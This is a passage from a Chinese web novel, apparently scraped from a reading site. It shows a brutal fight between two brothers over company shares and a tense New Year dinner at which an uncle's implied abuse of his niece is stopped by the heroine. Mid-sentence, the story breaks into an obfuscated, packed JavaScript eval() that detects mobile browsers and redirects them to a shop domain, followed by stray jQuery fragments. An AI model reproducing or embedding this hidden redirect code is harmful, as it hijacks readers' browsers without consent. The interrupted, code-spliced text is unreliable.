季家。


    季延青看着手里的文件，脸色铁青。季瑜踢走他被砸得稀巴烂的手机，面上带着嘲讽的笑：“怎么样？是不是很意外？季瑾，我很早就告诉过你，这个世上没有人是真正爱你的，你在期待什么？”


    季延青撕了手里的文件，一把拽过季瑜的衣领，双眼通红，咬牙切齿：“我告诉你季瑜，我不是季瑾，不再是曾经那个任由你打压折磨的季瑾。”


    他一把丢开季瑜：“我要见爷爷。”


    “哼。”季瑜抬手理了理衣领，他哼笑一声，眉眼得意：“青天白日的，你做什么梦呢？从你踏进这个家到现在，爷爷都没有出现，难道你就没有怀疑什么吗？”


    他对上季延青发红的眼睛，一字一句挑衅道：“爷、爷、不、想、见、你。”


    “你刚撕的那份文件，就是爷爷给出的回答。”季瑜低头拍了拍皱巴巴的衣袖：“如果你还想撕，我这里还有，要多少，有多少。”


    季延青冷冷看着他：“你少用激将法，我告诉你，集团股份是妈留给我的，谁也拿不走。”


    季瑜霎时脸色一变，他一拳砸在季延青脸上：“你不配提她！”


    季延青脸被打偏，嘴角有血迹渗出。


    “你提她一句，我打你一拳。”季瑜眉眼阴戾，没有刚才的得意神色：“你不配提她，季瑾，你也不配当她的儿子。”


    季延青转了转手腕，他看着季瑜，笑了：“你以为，我还是曾经那个任由你欺压的季瑾吗？”


    话音刚落，他一拳重重砸在季瑜的鼻梁上，只听惨叫一声，季瑜捂着血流不止的鼻子痛嚎，季延青面无表情走上前，死死掐住季瑜的后颈，然后一拳一拳打在季瑜的肚子上。


    客厅里充斥着季瑜的哀嚎声，不知过了多久，他如一滩烂泥被人丢在地上，满脸是血，目光涣散。


    季延青拿过帕子擦手，动作优雅，十分冷静。


    “还用小时候招数对付我。”他轻嗤一声，眉眼凌厉，目光冰冷：“季瑜，你太小瞧我了，看来这些年，你毫无长进。”


    “你......”季瑜扶着沙发摇摇晃晃地站了起来，他抬手擦了擦鼻子里涌出来的血，看着季延青，缓缓扯出一抹笑来，癫狂阴鸷：“季瑾，从小到大，你难道还不明白吗？没有人、没有人是真正爱你的，连我这个亲哥哥都不爱你，爸也不爱你，爷爷也不爱你，没有人会爱你！”


    季延青冷眼相对：“看来你PUA的手段也毫无长进，小时候是这一套话，现在依旧是。”


    “嗬嗬......”季瑜艰难走到沙发前，一屁股坐了下来，他靠着沙发，两手一摊：“如果你非要这么认为，我也没有、没有办法。不过你还要自欺欺人到什么时候？这些年你什么处境，难道你自己不知道吗？哦~我知道了。”


    他轻笑一声，笑声里带着嘲讽：“或许是你小女朋友救赎了你，让你觉得你被人爱着，可是季瑾，这些都是昙花一现，她总会有不爱你的那一天，就如我小时候说的那样——我以前也是爱着你的，可是后面我就不爱你了，爸也是一样的，他以前也是爱你的，后来，就不爱了，爷爷也是这样。”


    “你还没明白吗？因为你糟糕透顶，所以没有人会一直爱你。”


    季延青走出季家的时候，天边已经泛起了鱼肚白。


    他回头望着喜气洋洋的季家，才恍惚想起，今天是大年初一。


    一道刺耳的车喇叭声响起，季延青下意识看过去。


    许窍下了车，见他一身狼狈，嘴角乌青，气得胸膛都快炸了：“大过年的，他们是不是疯了！到底要逼你到什么时候！”


    他小心翼翼扶着季延青上了车。


    “你怎么会来这儿？什么时候来的？”季延青抬手揉了揉眉心，眼底一片红血丝：“怎么不在家过年？”


    许窍发动车子：“昨晚，季筠用季闻的手机给我打的电话，我还不想接来着，可她打了好几个，烦得我我差点把季闻拉黑了，不过还好我接了。”


    电话里，小姑娘哭着喊着让他来接季延青，哭得上气不接下气。


    想到这儿，许窍叹口气：“......你爸不是个好东西，你后妈也不是个人，季闻那玩意儿更是烂到骨子里去了，不过季筠这个妹妹倒是很好，和你亲近，也是真心对你好，哎，真是歹竹出好笋，但，如果长期这样下去，季筠说不定也会被他们养歪，可惜了。”


    “你手机呢？”许窍纳闷：“从昨晚到现在，我给你打了几十个电话都没人接。”


    季延青看着窗外，声音嘶哑：“一进门就被季瑜抢去砸烂了，我收起来了，里面还有很多重要的数据，要麻烦你去帮我迁移一下数据，买个新手机。”


    许窍看着前边儿的红绿灯：“这没问题，不麻烦，不过，你呢？你干嘛去？”


    “我可能，生病了。”季延青仰头靠在椅背上，双目涣散，满脸通红，话都说不出来了：“许窍......帮我跟阿璧说......我跟她......算了吧，记住.....不要跟她泄露我的事，一句话、都不能说。”


    大年初一上午，段丛璧跟着家里人去给祖宗烧香，等回家，已经是中午了。


    客厅里说笑声不间断，段丛璧一边跟段思祁说话，一边看向手机。


    “你看什么呢？”段思祁看向她暗着屏幕的手机：“等消息呢？是谁的消息这么重要？还要我妹妹如此重视。”


    段丛璧扣过手机：“没什么，继续说。”


    段思祁伸长手臂，搭过她的肩：“我说，你得小心点儿。”


    “小心什么？”


    “喏。”段思祁抬了抬下巴，示意她看周家表兄妹三人：“他们，你都要小心一点。”


    段丛璧皱眉：“小心什么，你倒是说啊。”


    段思祁瞪她，没好气地揉乱她的头发：“平时看起来挺聪明的，怎么这会儿变得这么笨了！”


    段丛璧一巴掌打在他手背上：“不说就算了。”


    她踢开段思祁的腿，准备回房间去。


    “吃饭了记得叫我。”她对段思斐说。


    段思斐乖乖哦了一声。


    段思祁看着手背红彤彤一片，愕然看着妹妹上楼的身影：“这死丫头，下手这么狠。”


    “她心情不好。”段思斐咔咔吃着薯片：“你没看出来？”


    段思祁挑眉：“嗯？有吗？”


    房间里，段丛璧打开微信，点开对话框，看着绿油油的一片，底部再没有新消息弹出，冷冰冰的。


    她转头盯着那束尖叶宝珠茉莉出神，思绪如麻，一时不知道该做什么好。


    微信电话响起，她立马拿起手机一看，眼底的期待暗了下去。


    “喂。”她接通电话。


    “阿璧。”许窍清晰的声音从那边传来：“新年快乐啊。”


    她抿抿嘴：“你也是，新年快乐。”


    许窍沉默了一会儿，清了清嗓子再开口：“那个......昨晚季延青突然有事，所以没有赴约，他让我跟你道歉，说声对不起。”


    “然后......他让我转告你......说、说你俩算了吧，呃......说是、到此为止吧。”


    “到此为止？”段丛璧冷哼一声：“他想要到此为止？休想，我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982117|188477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不同意。我大概猜到是怎么回事了，是不是季延青家里出事了？”


    许窍支支吾吾的，不敢说话了。


    “我知道了。”段丛璧冷静道：“就这样吧，谢谢，再次祝你新年快乐。”


    挂断电话后，段丛璧想给季延青打一个电话，段思斐这时候来了，在门外扯着嗓子喊：“雅君姐姐——吃饭啦！吃饭啦！”


    她起身走过去，一把拉开门，满脸不高兴：“你是不是皮痒了？信不信我揍你。”


    段思斐委屈：“不是你让我喊你吃饭的嘛！”


    【呜呜呜，段丛璧这个疯女人，小斐太难了！】


    “是不是在心里骂我？”段丛璧伸手，拧了拧段思斐的脸蛋儿。


    段思斐眼里包着泪花，不敢落下，老实巴交瘪瘪嘴：“我没有。”


    段丛璧松开手，哼了一声，关门下楼了。


    段思斐小朋友摸了摸自己被拧红的脸颊，眼里包着的眼泪哗啦啦落下。


    他要告诉妈妈段丛璧欺负他！让妈妈做主！


    于是他气冲冲跑下楼去，跑到丁漪白跟前，声情并茂地诉说自己的委屈。


    丁漪白摸了摸他脑袋，敷衍调和：“你姐姐跟你闹着玩儿的。”


    段思斐更委屈了，他哭唧唧地上了饭桌，耷拉着脑袋。


    “大过年的这是做什么？”段思鸣温声道：“快把眼泪擦擦。”


    段思斐这才抬起小胖手擦了擦。


    段思鸣转头看着段丛璧：“说起来，我送的生日礼物，小妹可还喜欢？”


    段丛璧吃着菜：“喜欢。”


    “嗯，那就好。”段思鸣笑着给她夹菜：“我也很喜欢小妹送我的生日礼物……的前菜。”


    段丛璧心里一凛，她抬头对上段思鸣的眼睛，片刻后，低头吃菜：“谢谢大哥给我夹的菜。”


    “生日礼物前菜？”大表哥周渡好奇问：“是什么？”


    段思鸣慢条斯理用着餐：“是一个很有趣的东西。”


    桌上另一边。


    段恢给段薇语夹着菜，看着丁漪白：“小语这段时间有些郁郁寡欢，要不要我来开解开解她？”


    段薇语立时僵住，整个人开始发抖。


    丁漪白懒得搭理：“随你。”


    段薇语转头，不可置信看着她，眼泪如泄洪般涌出：“妈……”


    丁漪白面不改色吃着饭，没有理会她。


    “那就这么说定了。”段恢呵呵笑着：“一会儿小语记得到我房里来。”


    段薇语眼泪滚滚落下，混在汤里。


    “小语？”段恢眯起眼睛，笑意荡然无存，他似乎不满段薇语的反应：“大伯亲自教导你，你该高兴才是，怎么还哭了？”


    段思祁笑嘻嘻道：“是不是你不够温柔啊？小女孩儿嘛，都喜欢温柔的。”


    段恢点点头：“原来如此。”


    他伸出手，搭在段薇语的肩上，无视她颤抖的身体，语气十分温和：“别怕，小语，大伯会好好教导你的。”


    段薇语低着头，她只是掉着豆粒大的泪珠，不敢发出声音。


    “小语怕是没空去大伯那里。”段丛璧突然出声，饭桌上顿时鸦雀无声。


    她放下筷子，支着手看着段恢，目光清亮：“我约了小语到我那里去喝茶。”


    段恢：“那小语明天去我那里。”


    段丛璧：“明天我们约了逛街。”


    “后天……”


    “后天要去看电影。”


    气氛变得古怪，众人心思各异，有一双双眼睛藏着诡异气氛之下，骨碌碌转着，像是蓄势待发的野兽。